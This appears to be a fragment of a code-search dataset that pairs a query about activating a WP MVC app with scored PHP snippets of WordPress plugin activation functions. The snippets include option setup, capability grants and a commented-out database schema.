"141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.8215281", "text": "private function __construct() {}", "title": "" } ]
d9d7d962f189080ea5b4b6db0583030a
This call needs to be made to activate this app within WP MVC
[ { "docid": "b367c6b5d4e7a8803111e8fe547cc0e1", "score": "0.0", "text": "function activate() {\r\n\t\t\r\n\t\t$this->activate_app(__FILE__);\r\n\t\t\r\n\t\t// Perform any databases modifications related to plugin activation here, if necessary\r\n\r\n\t\trequire_once ABSPATH.'wp-admin/includes/upgrade.php';\r\n\t\r\n\t\tadd_option('campaign_manager_db_version', $this->db_version);\r\n\t/*\t\r\nglobal $wpdb;\r\n $old_blog = $wpdb->blogid;\r\n $sql=\"\";\r\n $blogids = $wpdb->get_col($wpdb->prepare(\"SELECT blog_id FROM $wpdb->blogs\"));\r\n foreach ($blogids as $blog_id) {\r\n \tif($blog_id==1) $prefix=\"wp_\";\r\n\telse $prefix=\"wp_{$blog_id}_\";\r\n $sql.=\r\n\t\"CREATE TABLE IF NOT EXISTS `{$prefix}campaigns` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `campaign_name` varchar(255) NOT NULL,\r\n `sent_date` date DEFAULT NULL,\r\n `categoryId` int(11) DEFAULT NULL,\r\n `propertyId` int(11) NOT NULL,\r\n `active` int(11) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}campaign_list_rel` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `campaign_id` int(11) NOT NULL,\r\n `list_id` int(11) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}camps` (\r\n `id` int(100) NOT NULL AUTO_INCREMENT,\r\n `list_name` varchar(200) NOT NULL,\r\n `date` date NOT NULL,\r\n `categoryId` int(100) NOT NULL,\r\n `active` int(100) NOT NULL DEFAULT '1',\r\n `description` text NOT NULL,\r\n `tags` varchar(100) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}categories` (\r\n `id` int(10) NOT NULL AUTO_INCREMENT,\r\n `category_name` varchar(200) NOT NULL,\r\n `active` int(11) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}campaign_category_rel` (\r\n`id` INT NOT NULL AUTO_INCREMENT ,\r\n`campaign_id` INT NOT NULL ,\r\n`category_id` INT NOT NULL ,\r\nPRIMARY KEY ( `id` )\r\n);\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}list_category_rel` (\r\n`id` INT NOT NULL AUTO_INCREMENT ,\r\n`list_id` INT NOT NULL ,\r\n`category_id` INT NOT NULL ,\r\nPRIMARY KEY ( `id` )\r\n);\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}message_category_rel` (\r\n`id` INT NOT NULL AUTO_INCREMENT ,\r\n`message_id` INT NOT NULL ,\r\n`category_id` INT NOT NULL ,\r\nPRIMARY KEY ( `id` )\r\n);\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}contacts` (\r\n `id` int(255) NOT NULL AUTO_INCREMENT,\r\n `list_id` int(255) DEFAULT NULL,\r\n `first_name` varchar(255) NOT NULL,\r\n `last_name` varchar(255) NOT NULL,\r\n `email` varchar(255) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}emailsettings` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `from` varchar(50) NOT NULL,\r\n `reply` varchar(50) NOT NULL,\r\n UNIQUE KEY `id` (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}lists` (\r\n `id` int(100) NOT NULL AUTO_INCREMENT,\r\n `list_name` varchar(200) NOT NULL,\r\n `date` date NOT NULL,\r\n `categoryId` int(100) NOT NULL,\r\n `active` int(100) NOT NULL DEFAULT '1',\r\n `description` text NOT NULL,\r\n `tags` varchar(100) NOT NULL,\r\n `propertyId` int(25) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `{$prefix}templates` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `template_name` varchar(255) NOT NULL,\r\n `preview` text NOT NULL,\r\n `header` text NOT NULL,\r\n `footer` text NOT NULL,\r\n `created_date` datetime NOT NULL,\r\n `active` int(11) NOT NULL,\r\n `previewImgName` varchar(255) NOT NULL,\r\n `propertyId` int(11) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\";\r\n}\r\n$sql.=\"CREATE TABLE IF NOT EXISTS `wp_capabilities` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `userId` int(50) NOT NULL,\r\n `capability` varchar(75) NOT NULL,\r\n `status` tinyint(4) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `wp_messages` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `message_name` varchar(255) NOT NULL,\r\n `message` text NOT NULL,\r\n `date` date NOT NULL,\r\n `campaignID` int(11) NOT NULL,\r\n `propertyID` int(11) NOT NULL,\r\n `status` varchar(50) NOT NULL,\r\n `active` int(11) NOT NULL,\r\n `reminder` tinyint(4) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `wp_properties` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `property_name` varchar(255) NOT NULL,\r\n `prop_status` int(11) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nINSERT INTO `wp_properties` (`id`, `property_name`, `prop_status`) VALUES\r\n(1, '2818 Place', 1),\r\n(2, '901 Place', 1),\r\n(3, 'Allston Place / Stadium Place', 1),\r\n(4, 'Avalon Place', 1),\r\n(5, 'Bayside Village', 1),\r\n(6, 'Bradford Place', 1),\r\n(7, 'Brook Place', 1),\r\n(8, 'Bryant Place', 1),\r\n(9, 'Campus Crossing', 1),\r\n(10, 'Cardinal Towne', 1),\r\n(11, 'First Street Place', 1),\r\n(12, 'Hawks Landing', 1),\r\n(13, 'High View Place', 1),\r\n(14, 'Hill Country Place', 1),\r\n(15, 'Hill Place', 1),\r\n(16, 'Huntsville Place', 1),\r\n(17, 'Lafayette Place', 1),\r\n(18, 'Legends Place', 1),\r\n(19, 'Level 27', 1),\r\n(20, 'Level 51 ten', 1),\r\n(21, 'Life''s Village Retreat', 1),\r\n(22, 'Lorenzo', 1),\r\n(23, 'Maverick Place', 1),\r\n(24, 'Parkway Place', 1),\r\n(25, 'Pembroke Place', 1),\r\n(26, 'Rebel Place', 1),\r\n(27, 'Spring Place', 1),\r\n(28, 'St. Joe Place', 1),\r\n(29, 'Stadium View', 1),\r\n(30, 'Tailor Lofts', 1),\r\n(31, 'The Edge', 1),\r\n(32, 'The Granada on Hardy', 1),\r\n(33, 'The Lex', 1),\r\n(34, 'The Luxe', 1),\r\n(35, 'The Pavilion at North Grounds', 1),\r\n(36, 'The Summit at Coates Run', 1),\r\n(37, 'The Uptown East', 1),\r\n(38, 'University Edge ETSU', 1),\r\n(39, 'University Edge UC', 1),\r\n(40, 'Varsity Place', 1),\r\n(41, 'Veranda Place', 1),\r\n(42, 'Vista Place', 1),\r\n(43, 'West 27th Place', 1);\r\n\r\nCREATE TABLE IF NOT EXISTS `wp_sendgrid_status` (\r\n `id` int(100) NOT NULL AUTO_INCREMENT,\r\n `event` varchar(50) NOT NULL,\r\n `email` varchar(100) NOT NULL,\r\n `category` tinyint(200) NOT NULL,\r\n `campaign` tinyint(200) NOT NULL,\r\n `list` tinyint(200) NOT NULL,\r\n `property` tinyint(100) NOT NULL,\r\n `date` date NOT NULL,\r\n `time` time NOT NULL,\r\n `data` text NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE IF NOT EXISTS `wp_sendgrids` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `Username` varchar(50) NOT NULL,\r\n `password` varchar(50) NOT NULL,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;\";\r\n\r\n dbDelta($sql);\r\n*/\t\t\r\n\t}", "title": "" } ]
[ { "docid": "9861a5b6d6c4fe8b2ace12b93a81c73f", "score": "0.6798712", "text": "function activate_wp_book() {\n Inc\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "5c3d6ebad64d1a7c184bcad2e57281c5", "score": "0.66746664", "text": "function activate() {\n $existing_blogname = $this->ext->get_option( 'livefyre_blogname', false );\n if ( $existing_blogname ) {\n $site_id = $existing_blogname;\n $existing_key = $this->ext->get_option( 'livefyre_secret', false );\n update_option('livefyre_apps-'. 'livefyre_site_id', $site_id );\n $this->ext->delete_option( 'livefyre_blogname' );\n update_option('livefyre_apps-'. 'livefyre_site_key', $existing_key );\n $this->ext->delete_option( 'livefyre_secret' );\n } else {\n $site_id = get_option('livefyre_apps-livefyre_site_id', false );\n }\n \n if ( !get_option('livefyre_apps-livefyre_domain_name', false) ) {\n // Initialize default profile domain i.e. livefyre.com\n $defaultDomainName = get_option('livefyre_apps-livefyre_domain_name', LF_DEFAULT_PROFILE_DOMAIN);\n update_option('livefyre_apps-'. 'livefyre_domain_name', $defaultDomainName );\n } \n if ( !get_option('livefyre_apps-livefyre_auth_delegate_name', false) ) {\n $defaultDelegate = get_option('livefyre_apps-livefyre_auth_delegate_name', '');\n update_option('livefyre_apps-'. 'livefyre_auth_delegate_name', $defaultDelegate );\n } \n if ( !get_option('livefyre_apps-livefyre_domain_key', false) ) {\n $defaultKey = get_option('livefyre_apps-livefyre_domain_key', ''); \n update_option('livefyre_apps-'. 'livefyre_domain_key', $defaultKey );\n }\n \n if ( !$this->ext->get_option( 'livefyre_v3_installed', false ) ) {\n // Set a flag to show the 'hey you just upgraded' (or installed) flash message\n // Set the timestamp so we know which posts use V2 vs V3\n if ( $site_id ) {\n $this->ext->update_option( 'livefyre_v3_installed', current_time('timestamp') );\n $this->ext->update_option( 'livefyre_v3_notify_upgraded', 1 );\n $this->run_backfill( $site_id ); //only run backfill on existing blogs\n } else {\n // !IMPORTANT\n // livefyre_v3_installed == 0 is used elsewhere to determine if this\n // installation was derived from a former V2 installation\n $this->ext->update_option( 'livefyre_v3_installed', 0 );\n $this->ext->update_option( 'livefyre_v3_notify_installed', 1 );\n $this->ext->update_option( 'livefyre_backend_upgrade', 'skipped' );\n }\n }\n }", "title": "" }, { "docid": "13a71bee12a252ce19cdd1a731c93602", "score": "0.6527184", "text": "public function activate()\n {\n Cleeng_Core::load('Cleeng_WpClient');\n Cleeng_Client::checkCompatibility();\n $this->migrate_database();\n //$cleengAdmin = Cleeng_Core::load('Cleeng_Admin');\n //$cleengAdmin->message(\"Cleeng for WordPress installed.\");\n }", "title": "" }, { "docid": "621001d1056f426aea3ea3697efd0ae9", "score": "0.64128214", "text": "public static function activate() {\n\t\tupdate_option( 'host_name', 'https://login.xecurify.com' );\n\t}", "title": "" }, { "docid": "50b077413f5414cd5403d2d17b323306", "score": "0.63789195", "text": "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t\t// add_role( 'advanced', __( 'Advanced' ) ); //Add a custom roles\n\t\tself::add_capabilities();\n\t\tself::upgrade_procedure();\n\t\t// Clear the permalinks.\n\t\tflush_rewrite_rules();\n\t}", "title": "" }, { "docid": "a29384258f6608aa5f6f5d4e4a2b3019", "score": "0.63450056", "text": "private function activate(){\r\n \r\n //show the current application 'page'\r\n \r\n switch($_GET['wapi']){\r\n case \"demo\":\r\n \r\n $fileArray=array(\"app\".DS.\"display\".DS.\"demo\".DS.\"demo.php\");\r\n \r\n break;\r\n case \"outbox\":\r\n \r\n $fileArray=array(\"app\".DS.\"display\".DS.\"outbox\".DS.\"outbox.php\");\r\n \r\n break;\r\n case \"manage\":\r\n \r\n $fileArray=array(\"app\".DS.\"display\".DS.\"manage\".DS.\"manage.php\");\r\n \r\n break;\r\n }//switch\r\n \r\n //if fileArray is set, create an AmbaView object\r\n if(isset($fileArray)){\r\n \r\n $model=new \\Amba\\Core\\AmbaModel();\r\n \r\n $controller=new \\Amba\\Core\\AmbaController($model);\r\n \r\n $view=new \\Amba\\Core\\AmbaView($controller,$fileArray);\r\n \r\n $view->load();\r\n \r\n }//if\r\n \r\n }", "title": "" }, { "docid": "7005a6ff4eaf7fa91f8e7a52a24112a1", "score": "0.6342479", "text": "public function plugin_activate_hook() {\r\n add_option( 'woolentor_do_activation_redirect', TRUE );\r\n add_option( 'woolentor_do_activation_library_cache', TRUE );\r\n }", "title": "" }, { "docid": "6f0a687470b79ecf7484a139a0d48304", "score": "0.63259745", "text": "public function activate() {\n global $wp_roles;\n\n if ( class_exists( 'WP_Roles' ) && ! isset( $wp_roles ) ) {\n // @codingStandardsIgnoreLine\n $wp_roles = new \\WP_Roles();\n }\n\n $all_cap = array(\n 'dokan_view_booking_menu',\n 'dokan_add_booking_product',\n 'dokan_edit_booking_product',\n 'dokan_delete_booking_product',\n 'dokan_manage_booking_products',\n 'dokan_manage_booking_calendar',\n 'dokan_manage_bookings',\n 'dokan_manage_booking_resource',\n );\n\n foreach ( $all_cap as $key => $cap ) {\n $wp_roles->add_cap( 'seller', $cap );\n $wp_roles->add_cap( 'administrator', $cap );\n $wp_roles->add_cap( 'shop_manager', $cap );\n }\n\n // flush rewrite rules after plugin is activate\n $this->flush_rewrite_rules();\n }", "title": "" }, { "docid": "7e0dc8cdb7d7c3f75ddf4ad56a644c38", "score": "0.62840515", "text": "function activate() \n {\n // prepare the options\n $this->get_options();\n // set the WordPress hooks\n $this->wp_hooks();\n }", "title": "" }, { "docid": "2dd82fe88e7c425ac601659dc0238f2f", "score": "0.62768143", "text": "public function maybe_activate() {\n\t\t\n\t\tif ( ! get_transient( '_bpbbst_welcome_screen' ) )\n\t\t\treturn;\n\n\t\t// Delete the redirect transient\n\t\tdelete_transient( '_bpbbst_welcome_screen' );\n\n\t\t// Bail if activating from network, or bulk\n\t\tif ( is_network_admin() || isset( $_GET['activate-multi'] ) )\n\t\t\treturn;\n\n\t wp_safe_redirect( add_query_arg( array( 'page' => 'bpbbst-about' ), admin_url( 'index.php' ) ) );\n\t}", "title": "" }, { "docid": "63aafeda299b9f321837628c51f97b48", "score": "0.62429667", "text": "public function activate_client() {\n $data = get_plugin_data($this->plugin_file, $markup = false, $translate = false);\n\n $activation_data = $this->call_api(\n 'hello', array(\n 'v' => $data['Version'],\n 'h' => preg_replace('/^www\\./', '', $_SERVER['HTTP_HOST']),\n 'n' => $data['Name']\n )\n );\n add_option('zpm_plugin_id', $activation_data->plugin_id, '', 'yes');\n add_option('zpm_license', $activation_data->license_key, '', 'yes');\n }", "title": "" }, { "docid": "80ffb3ba95f52653d4375f34a8c9f9ae", "score": "0.6228845", "text": "protected function run_on_activate(): void {}", "title": "" }, { "docid": "29d53fba8a1197b028766222e9fbd48e", "score": "0.6225646", "text": "function activate(){\n\n\t\t//$this->deactivate();\n\n\t\t$current_version = FALSE;\n\t\t$general_options = $options[ WPC_OPTIONS ];\n\t\t\n\t\tif ( $general_options !== FALSE && isset( $general_options[ 'WPC_VERSION' ] ) ){\n\t\t\t$current_version = $general_options[ 'WPC_VERSION' ];\t\t\n\t\t}\n\t\t\n\t\tif ( $current_version === FALSE || version_compare( $current_version, \"2.0\" ) == -1 ){\n\t\t\t\n\t\t\t// get the options from the old version\n\t\t\t$options = WordpressConnect::getOldVersionOptions();\n\t\t\t// port the options into the new version\n\t\t\tWordpressConnect::setOptions( $options );\n\t\t\t\n\t\t}\t\t\n\t\telse {\n\n\t\t\t$options = WordpressConnect::getDefaultOptions();\n\t\t\t\n\t\t\t// apply the options from the current theme\n\t\t\t$options = apply_filters( 'wp_connect_options', $options );\n\t\t\tWordpressConnect::setOptions( $options );\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "209a1bebb1b9be30ddf30fe21ee265a6", "score": "0.62198937", "text": "private static function single_activate() {\n\n\t\tglobal $mspdb;\n\t\t$mspdb->create_tables();\n\n\t\t// add masterslider custom caps\n\t\tself::assign_custom_caps();\n\t\tdo_action( 'masterslider_activated', get_current_blog_id() );\n\t}", "title": "" }, { "docid": "46593aeae1f61b22bf197a951cd1866d", "score": "0.6199814", "text": "function sps_slug_activate() {\n add_option( 'sps_plug_login_header_logo', str_replace(home_url('/'), '', SPS_PLUG_URL).'/logo-re-b.png', false, false );\n add_option( 'sps_plug_login_header_url', 'http://sps.vn/' );\n add_option( 'sps_plug_login_header_title', 'SPS Development Website', false, false );\n\n add_option( 'sps_plug_link_manage', '', false, false );\n add_option( 'sps_plug_front_adminbar', '', false, false );\n add_option( 'sps_plug_maintenance_mode', '', false, false );\n add_option( 'sps_plug_turn_xmlrpc', '', false, false );\n add_option( 'sps_plug_maintenance_mode_message', 'Website is being maintained. Please come back later.' );\n\n}", "title": "" }, { "docid": "a7e2b9fb26c071fa8d9860c47cad8169", "score": "0.61761117", "text": "public function activate() {\n add_option( 'wpb_js_composer_do_activation_redirect', true );\n }", "title": "" }, { "docid": "599aac896adcca5f9e5174d0e08243cf", "score": "0.6173356", "text": "function activate_zohoCRM() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-zohoCRM-activator.php';\n\tZohoCRM_Activator::activate();\n}", "title": "" }, { "docid": "878f47065eab932d7f08045c860afb2e", "score": "0.6154347", "text": "function postrelease_activate() {\n\tif ( ! function_exists( 'wpcom_is_vip' ) ) {\n\t\tflush_rewrite_rules(); //not vip\n\t} else {\n\t\tdo_action( 'postrelease_activate' ); //vip\n\t}\n}", "title": "" }, { "docid": "5c47fd7583e701c8d7e8a2b675ce616a", "score": "0.61131704", "text": "public function activate() {\n\n if (is_multisite() && !is_network_admin()) {\n die($this->hsc_utf8(sprintf(__(\"%s must be activated via the Network Admin interface when WordPress is in multisite network mode.\", self::ID), self::NAME)));\n }\n\n if (is_multisite()) {\n\t //Switch to main blog.\n switch_to_blog(1);\n }\n\n\t /*\n\t //Save this plugin's options to the database. If they don't already exist, defaults will be used.\n update_option($this->option_name, $this->options);\n\t */\n\n if (is_multisite()) {\n\t //Switch back.\n restore_current_blog();\n }\n\n }", "title": "" }, { "docid": "58b768ba09bda631013cfc758a4ad268", "score": "0.6089251", "text": "function activate_sitewide_plugin()\n {\n }", "title": "" }, { "docid": "6d4acaa28e725de68079dd529b6b2f9f", "score": "0.60622746", "text": "public static function activate() {\n\t}", "title": "" }, { "docid": "c33fdcbfd8d7b3fd905043674d2f2752", "score": "0.6050737", "text": "public function AppActivate ( $app )\n\t {\n\t\t$this -> ShellInstance -> AppActivate ( $app ) ;\n\t }", "title": "" }, { "docid": "b582c44dff524d15c6d4c0d536c416b3", "score": "0.6045794", "text": "public function activate() {\n $installed = get_option( 'post_view_installed' );\n\n if ( !$installed ) {\n update_option( 'post_view_installed', time() );\n }\n update_option( 'post_view_version', POST_VIEW_VERSION );\n }", "title": "" }, { "docid": "5542a8ce518aace60ceb8a94597de3d9", "score": "0.60188043", "text": "function smartrest_activate() {\n smartrest_add_endpoint();\n // flush rewrite rules - only do this on activation as anything more frequent is bad!\n flush_rewrite_rules();\n}", "title": "" }, { "docid": "2de84b9a398021ab189acbebb1554b49", "score": "0.6009441", "text": "function jft_assistant_activate() {\n\trequire_once JFT_ASSISTANT_DIR__ . '/classes/JftAssistant/Autoloader.php';\n\tJftAssistant_Autoloader::register();\n\tJftAssistant_Plugin::get_instance()->activate();\n}", "title": "" }, { "docid": "5351c587cbd6e792d146820a4dc2a183", "score": "0.60087126", "text": "public function activate() {\n\t\t// Nothing to do here... for now.\n\t}", "title": "" }, { "docid": "fa5729e51c1e51765b297bcf41472114", "score": "0.60062855", "text": "function activate_Kong_Helpdesk() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-kong-helpdesk-activator.php';\n\t$activator = new Kong_Helpdesk_Activator();\n\t$activator->activate();\n}", "title": "" }, { "docid": "754dcc6d8061ec1dd845326f32bcc16f", "score": "0.59971404", "text": "public function activate() {\r\n\r\n\t}", "title": "" }, { "docid": "d050bb799c9274323db11fdd9d021e61", "score": "0.5983864", "text": "public static function activate()\n {\n }", "title": "" }, { "docid": "a4b39a15b1afc31948d847d63c82a317", "score": "0.59678495", "text": "function Activate() {\r\n\t\t\tglobal $this_version;\r\n\t\t\t$my_version = get_option(c_pwa_version);\r\n\t\t\tif (empty($my_version)) self::default_options($this->version);\r\n\t\t\tif ($this->version > $my_version) self::Upgrade($my_version);\r\n\r\n\t\t}", "title": "" }, { "docid": "f992b8762f6324196a9bcb153bc4458c", "score": "0.5961946", "text": "private function get_activate_url () {\n return 'plugins.php?action=activate&plugin=' . urlencode( 'wootransmitter/wootransmitter.php' ) . '&plugin_status=all&paged=1&s&_wpnonce=' . urlencode( wp_create_nonce( 'activate-plugin_wootransmitter/wootransmitter.php' ) );\n }", "title": "" }, { "docid": "9527a0e814b5549143188195b5396d25", "score": "0.5953531", "text": "function activate_mfn_wp_plugin()\n{\n require_once plugin_dir_path(__FILE__) . 'includes/class-mfn-wp-plugin-activator.php';\n Mfn_Wp_Plugin_Activator::activate();\n}", "title": "" }, { "docid": "9ff94aa3ec137ac9b14ff2de13618912", "score": "0.5943393", "text": "public function activate() {\n\t\t\n\t}", "title": "" }, { "docid": "ae9e429fe2c565c7f8643b90c2d4e87c", "score": "0.59288675", "text": "function seed_csp4_welcome_screen_do_activation_redirect() {\r\n if ( ! get_transient( '_seed_csp4_welcome_screen_activation_redirect' ) ) {\r\n return;\r\n }\r\n\r\n // Delete the redirect transient\r\n delete_transient( '_seed_csp4_welcome_screen_activation_redirect' );\r\n\r\n // Bail if activating from network, or bulk\r\n if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) {\r\n return;\r\n }\r\n\r\n // Redirect to bbPress about page\r\n wp_safe_redirect( add_query_arg( array( 'page' => 'seed_csp4' ), admin_url( 'admin.php' ) ) );\r\n}", "title": "" }, { "docid": "1bd151a06c68116f20bfe693ea461016", "score": "0.5921084", "text": "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "title": "" }, { "docid": "1bd151a06c68116f20bfe693ea461016", "score": "0.5921084", "text": "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "title": "" }, { "docid": "a41ec4863d842b92616f16e8e53fb45a", "score": "0.59011036", "text": "public static function _activate()\n\t{\n\t\t$parent_id = self::create_parent();\n\n\t\tif( !$parent_id || is_wp_error($parent_id) || empty($parent_id) )\n\t\t\terror_log('ABNOT@activate: Parent create error!');\n\n\t\telse foreach( self::$tools as $tool => $t )\n\t\t{\n\t\t\t$pid = get_page_by_title($t['title'], 'OBJECT', 'page');\n\n\t\t\tif( !$pid || is_wp_error($pid) )\n\t\t\t\tself::create_page($t['title'], $t['shortcode'], $parent_id);\n\n\t\t\telse wp_update_post(array('ID' => $pid->ID, 'post_status' => 'publish'));\n\t\t}\n\t}", "title": "" }, { "docid": "f3a930d814285222776cd8f46ac01793", "score": "0.58795375", "text": "static function activate() {\n\t}", "title": "" }, { "docid": "314d6fd66e3633d229c91f7871e09a30", "score": "0.58689135", "text": "function mailmaga_x_activate(){\n\t$mailmaga_x_data = new Mailmaga_x_install();\n\t$mailmaga_x_data->activate();\n}", "title": "" }, { "docid": "a9a01251cb48490eae2b5c972d42a630", "score": "0.58674943", "text": "public function activate() {\n\t\t\t\n\t\t}", "title": "" }, { "docid": "f6057763e3693ee7405b3afcef58b55d", "score": "0.58577657", "text": "public function appCallback() {\n\n\n// $id = Crypt::decryptString(request()->get('user'));\n Auth::shouldUse('web');\n Auth::loginUsingId(request()->get('user'));\n\n $config = LaravelExactOnline::loadConfig();\n\n $config->authorisationCode = request()->get('code');\n LaravelExactOnline::storeConfig($config);\n\n $connection = app()->make('Exact\\Connection');\n session(['user' => request()->get('user')]);\n return redirect()->route('exact.form');\n// return redirect(\"easykas://return\");\n }", "title": "" }, { "docid": "f4717b7c1a87d032b7f2d834292875ae", "score": "0.58482146", "text": "final public function activate() {\n\t\n\t\t//Check PHP Version and deactivate & die if it doesn't meet minimum requirements.\n\t\tif ( version_compare(PHP_VERSION, '7.2.0', '<=') ) {\n\t\t\tdeactivate_plugins( plugin_basename( WRP_PLUGIN_FILE ) );\n\t\t\twp_die( 'This plugin requires <b>PHP Version 7.2 and up</b>. <a href=\"' . admin_url('plugins.php') . '\">Go Back</a>' );\n }\n \n //Check if WooCommerce is activated. Otherwise, do not activate the plugin.\n if( !is_plugin_active('woocommerce/woocommerce.php') ) {\n deactivate_plugins( plugin_basename( WRP_PLUGIN_FILE ) );\n\t\t\twp_die( 'This plugin requires <b>WooCommerce<b>. <a href=\"' . admin_url('plugins.php') . '\">Go Back</a>' );\n }\n\t\t\n //Do activate Stuff now...\n \n\t}", "title": "" }, { "docid": "ba7d848e2c8b97757812d33d8f3ccb17", "score": "0.5842345", "text": "function jfb_activate() \r\n{\r\n global $jfb_name, $jfb_version, $opt_jfb_valid, $opt_jfb_api_key;\r\n $msg = get_option($opt_jfb_valid)?\"VALID\":(!get_option($opt_jfb_api_key)||get_option($opt_jfb_api_key)==''?\"NOKEY\":\"INVALIDKEY\");\r\n jfb_auth($jfb_name, $jfb_version, 1, \"ON: \" . $msg);\r\n}", "title": 